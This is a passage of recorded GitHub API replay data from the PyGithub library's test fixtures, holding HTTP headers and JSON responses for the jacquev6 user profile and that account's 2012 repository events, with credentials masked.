'4C79374B:3449:30711F6:5280214B'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '1494'), ('server', 'GitHub.com'), ('last-modified', 'Sun, 10 Nov 2013 23:46:02 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"fe0984faabdc64453d942c3e3a992a39"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 11 Nov 2013 00:14:03 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1384130958')] {"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png&r=x","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false,"name":"Vincent Jacques","company":"Amazon","blog":"http://vincent-jacques.net","location":"Seattle, WA, United States","email":"vincent@vincent-jacques.net","hireable":false,"bio":"","public_repos":18,"followers":29,"following":43,"created_at":"2010-07-09T06:10:06Z","updated_at":"2013-11-10T23:46:02Z","public_gists":5,"total_private_repos":3,"owned_private_repos":3,"disk_usage":90970,"collaborators":0,"plan":{"name":"micro","space":614400,"collaborators":1,"private_repos":5},"private_gists":6} https GET api.github.com None /users/jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4979'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '4C79374B:3447:28CA230:5280214C'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '1494'), ('server', 'GitHub.com'), ('last-modified', 'Sun, 10 Nov 2013 23:46:02 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"fe0984faabdc64453d942c3e3a992a39"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 11 Nov 2013 00:14:04 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1384130958')] {"login":"jacquev6","id":327146,"avatar_url":"https://1.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png&r=x","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false,"name":"Vincent Jacques","company":"Amazon","blog":"http://vincent-jacques.net","location":"Seattle, WA, United States","email":"vincent@vincent-jacques.net","hireable":false,"bio":"","public_repos":18,"followers":29,"following":43,"created_at":"2010-07-09T06:10:06Z","updated_at":"2013-11-10T23:46:02Z","public_gists":5,"total_private_repos":3,"owned_private_repos":3,"disk_usage":90970,"collaborators":0,"plan":{"name":"micro","space":614400,"collaborators":1,"private_repos":5},"private_gists":6} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Event.setUp.txt0000644000175100001660000013172014756101563021103 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4962'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"fc78d67f262cad756e42354c78ecea4e"'), ('date', 'Sat, 26 May 2012 11:01:16 GMT'), ('content-type', 'application/json; charset=utf-8')] {"public_repos":11,"type":"User","disk_usage":17080,"hireable":false,"blog":"http://vincent-jacques.net","url":"https://api.github.com/users/jacquev6","bio":"","plan":{"collaborators":1,"private_repos":5,"name":"micro","space":614400},"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","total_private_repos":5,"public_gists":2,"company":"Criteo","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","owned_private_repos":5,"private_gists":5,"collaborators":0,"email":"vincent@vincent-jacques.net","followers":13,"name":"Vincent Jacques","created_at":"2010-07-09T06:10:06Z","location":"Paris, France","id":327146,"following":24,"html_url":"https://github.com/jacquev6"} https GET api.github.com None /users/jacquev6/events {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4961'), ('content-length', '44220'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next"'), ('etag', '"fef01e01dbfd77f945174529147fa3cb"'), ('date', 'Sat, 26 May 2012 11:01:16 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"type":"PushEvent","payload":{"head":"619eae8d51c5988f0d2889fc767fa677438ba95d","size":11,"push_id":80673538,"ref":"refs/heads/topic/RewriteWithGeneratedCode","commits":[{"sha":"5bb654d26dd014d36794acd1e6ecf3736f12aad7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5bb654d26dd014d36794acd1e6ecf3736f12aad7","distinct":false,"message":"Implement the three authentication schemes"},{"sha":"cb0313157bf904f2d364377d35d9397b269547a5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/cb0313157bf904f2d364377d35d9397b269547a5","distinct":false,"message":"Merge branch 'topic/Authentication' into develop"},{"sha":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0cec0d25e606c023a62a4fc7cdc815309ebf6d16","distinct":false,"message":"Publish version 0.7"},{"sha":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","distinct":false,"message":"Merge branch 'develop'"},{"sha":"3a3bf4763192ee1234eb0557628133e06f3dfc76","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/3a3bf4763192ee1234eb0557628133e06f3dfc76","distinct":true,"message":"Merge branch 'master' into topic/RewriteWithGeneratedCode\n\nConflicts:\n\tgithub/Github.py\n\tgithub/Requester.py"},{"sha":"608f17794664f61693a3dc05e6056fea8fbef0ff","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/608f17794664f61693a3dc05e6056fea8fbef0ff","distinct":true,"message":"Restore some form of Authorization header in replay data"},{"sha":"2c04b8adbd91d38eef4f0767337ab7a12b2f684b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/2c04b8adbd91d38eef4f0767337ab7a12b2f684b","distinct":true,"message":"Allow test without pre-set-up Github"},{"sha":"5b97389988b6fe43e15a079702f6f1671257fb28","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5b97389988b6fe43e15a079702f6f1671257fb28","distinct":true,"message":"Test three authentication schemes"},{"sha":"12747613c5ec00deccf296b8619ad507f7050475","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/12747613c5ec00deccf296b8619ad507f7050475","distinct":true,"message":"Test Issue.getComments"},{"sha":"2982fa96c5ca75abe717d974d83f9135d664232e","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/2982fa96c5ca75abe717d974d83f9135d664232e","distinct":true,"message":"Test the new Repository.full_name attribute"},{"sha":"619eae8d51c5988f0d2889fc767fa677438ba95d","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/619eae8d51c5988f0d2889fc767fa677438ba95d","distinct":true,"message":"Improve coverage of AuthenticatedUser"}]},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-26T10:01:39Z","id":"1556114751","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"CreateEvent","payload":{"master_branch":"master","ref":null,"ref_type":"repository","description":"Repo created by PyGithub"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/TestPyGithub","id":4454027,"name":"jacquev6/TestPyGithub"},"created_at":"2012-05-26T09:55:27Z","id":"1556114217","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"GistEvent","payload":{"action":"create","gist":{"created_at":"2012-05-26T09:50:02Z","public":true,"comments":0,"git_push_url":"git@gist.github.com:2793179.git","files":{},"updated_at":"2012-05-26T09:50:02Z","url":"https://api.github.com/gists/2793179","id":"2793179","git_pull_url":"git://gist.github.com/2793179.git","description":null,"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"html_url":"https://gist.github.com/2793179"}},"public":true,"repo":{"url":"https://api.github.com/repos//","name":"/"},"created_at":"2012-05-26T09:50:03Z","id":"1556113740","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"IssuesEvent","payload":{"action":"closed","issue":{"number":29,"created_at":"2012-05-25T11:47:59Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"","comments":0,"title":"Publish version 0.7","updated_at":"2012-05-25T17:32:32Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/29","id":4752048,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":5,"due_on":"2012-05-26T07:00:00Z","created_at":"2012-05-25T11:47:06Z","title":"Version 0.7","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/5","id":124045,"closed_issues":2,"open_issues":0,"description":"","state":"closed"},"closed_at":"2012-05-25T17:32:32Z","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"labels":[{"name":"Project management","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","color":"444444"}],"html_url":"https://github.com/jacquev6/PyGithub/issues/29","state":"closed"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T17:32:33Z","id":"1555940993","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"IssuesEvent","payload":{"action":"closed","issue":{"number":15,"created_at":"2012-03-13T06:24:05Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"One would want to use the API without authentication, with login+password, and with OAuth token. Let's cover these use-cases.","comments":1,"title":"Implement all authentication schemes","updated_at":"2012-05-25T17:32:31Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/15","id":3624575,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":5,"due_on":"2012-05-26T07:00:00Z","created_at":"2012-05-25T11:47:06Z","title":"Version 0.7","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/5","id":124045,"closed_issues":2,"open_issues":0,"description":"","state":"closed"},"closed_at":"2012-05-25T17:32:31Z","labels":[{"name":"Functionalities","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","color":"e102d8"}],"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"html_url":"https://github.com/jacquev6/PyGithub/issues/15","state":"closed"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T17:32:33Z","id":"1555940986","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"CreateEvent","payload":{"master_branch":"master","ref_type":"tag","ref":"v0.7","description":"Python library implementing the full Github API v3"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T17:19:48Z","id":"1555936661","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"DeleteEvent","payload":{"ref_type":"branch","ref":"topic/Authentication"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T17:19:48Z","id":"1555936660","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","size":4,"push_id":80573368,"ref":"refs/heads/master","commits":[{"sha":"5bb654d26dd014d36794acd1e6ecf3736f12aad7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5bb654d26dd014d36794acd1e6ecf3736f12aad7","distinct":false,"message":"Implement the three authentication schemes"},{"sha":"cb0313157bf904f2d364377d35d9397b269547a5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/cb0313157bf904f2d364377d35d9397b269547a5","distinct":false,"message":"Merge branch 'topic/Authentication' into develop"},{"sha":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0cec0d25e606c023a62a4fc7cdc815309ebf6d16","distinct":false,"message":"Publish version 0.7"},{"sha":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","distinct":true,"message":"Merge branch 'develop'"}]},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T17:19:48Z","id":"1555936659","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16","size":3,"push_id":80573367,"commits":[{"sha":"5bb654d26dd014d36794acd1e6ecf3736f12aad7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5bb654d26dd014d36794acd1e6ecf3736f12aad7","distinct":false,"message":"Implement the three authentication schemes"},{"sha":"cb0313157bf904f2d364377d35d9397b269547a5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/cb0313157bf904f2d364377d35d9397b269547a5","distinct":false,"message":"Merge branch 'topic/Authentication' into develop"},{"sha":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0cec0d25e606c023a62a4fc7cdc815309ebf6d16","distinct":false,"message":"Publish version 0.7"}],"ref":"refs/heads/develop"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T17:19:47Z","id":"1555936657","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"CreateEvent","payload":{"master_branch":"master","ref":"topic/Authentication","description":"Python library implementing the full Github API v3","ref_type":"branch"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T12:24:21Z","id":"1555833283","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"IssuesEvent","payload":{"action":"opened","issue":{"number":29,"created_at":"2012-05-25T11:47:59Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"","title":"Publish version 0.7","comments":0,"updated_at":"2012-05-25T11:47:59Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/29","id":4752048,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":5,"created_at":"2012-05-25T11:47:06Z","due_on":"2012-05-26T07:00:00Z","title":"Version 0.7","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/5","id":124045,"open_issues":2,"closed_issues":0,"description":"","state":"open"},"closed_at":null,"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"html_url":"https://github.com/jacquev6/PyGithub/issues/29","labels":[{"name":"Project management","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","color":"444444"}],"state":"open"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T12:02:48Z","id":"1555822981","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-25T06:31:42Z","body":"It means that there will be three ways to create an instance of the Github class:\n github = Github()\n github = Github( login, password )\n github = Github( oauth_token )\n","updated_at":"2012-05-25T06:31:42Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/5924198","id":5924198,"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},"action":"created","issue":{"number":15,"created_at":"2012-03-13T06:24:05Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"comments":1,"body":"One would want to use the API without authentication, with login+password, and with OAuth token. Let's cover these use-cases.","title":"Implement all authentication schemes","updated_at":"2012-05-25T06:31:42Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/15","id":3624575,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":null,"closed_at":null,"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"labels":[{"name":"Functionalities","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","color":"e102d8"}],"html_url":"https://github.com/jacquev6/PyGithub/issues/15","state":"open"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T06:31:42Z","id":"1555742639","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"WatchEvent","payload":{"action":"started"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T06:05:21Z","id":"1555738288","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"527ce7459a2e60d1536883f19b9bc6850d71127b","size":5,"push_id":79877715,"commits":[{"sha":"287bc541542f9d32339e7dd4b36a511cab2ebdae","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/287bc541542f9d32339e7dd4b36a511cab2ebdae","distinct":true,"message":"Generate more coverage information"},{"sha":"588a4a9a355096c00a2bb25f27664d2115e120ac","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/588a4a9a355096c00a2bb25f27664d2115e120ac","distinct":true,"message":"Test AuthenticatedUser watching"},{"sha":"815720f0deb376c34166c27b6e3b73e5c1f5b1a3","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/815720f0deb376c34166c27b6e3b73e5c1f5b1a3","distinct":true,"message":"Test Authorization"},{"sha":"473c92adcd8bbbd32003d9c65666ede66059551b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/473c92adcd8bbbd32003d9c65666ede66059551b","distinct":true,"message":"Test Download and CommitComment"},{"sha":"527ce7459a2e60d1536883f19b9bc6850d71127b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/527ce7459a2e60d1536883f19b9bc6850d71127b","distinct":true,"message":"Merge commit 'c93f9cc8484b7' into topic/RewriteWithGeneratedCode\n\nConflicts:\n\ttest/IntegrationTest.py"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T19:59:48Z","id":"1554729420","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"DownloadEvent","payload":{"download":{"name":"Foobar.txt","size":1024,"created_at":"2012-05-22T19:15:29Z","content_type":"text/plain","download_count":0,"url":"https://api.github.com/repos/jacquev6/PyGithub/downloads/242562","id":242562,"description":null,"html_url":"https://github.com/downloads/jacquev6/PyGithub/Foobar.txt"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T19:15:30Z","id":"1554712197","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68d